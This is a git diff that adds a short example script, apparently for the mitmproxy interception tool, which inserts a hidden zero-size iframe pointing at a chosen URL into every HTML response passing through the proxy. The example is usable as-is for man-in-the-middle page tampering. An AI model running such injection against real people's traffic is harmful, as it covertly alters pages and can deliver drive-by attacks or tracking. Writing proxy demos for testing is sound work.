1 files changed, 18 insertions, 0 deletions
diff --git a/examples/iframe_injector.py b/examples/iframe_injector.py
new file mode 100644
index 00000000..7042dbab
--- /dev/null
+++ b/examples/iframe_injector.py
@@ -0,0 +1,18 @@
+# Usage: mitmdump -s "iframe_injector.py url"
+# (this script works best with --anticache)
+from libmproxy.protocol.http import decoded
+
+
+def start(ctx, argv):
+    if len(argv) != 2:
+        raise ValueError('Usage: -s "iframe_injector.py url"')
+    ctx.iframe_url = argv[1]
+
+
+def handle_response(ctx, flow):
+    with decoded(flow.response):  # Remove content encoding (gzip, ...)
+        c = flow.response.replace(
+            '<body>',
+            '<body><iframe src="%s" frameborder="0" height="0" width="0"></iframe>' % ctx.iframe_url)
+        if c > 0:
+            ctx.log("Iframe injected!")
+\ No newline at end of file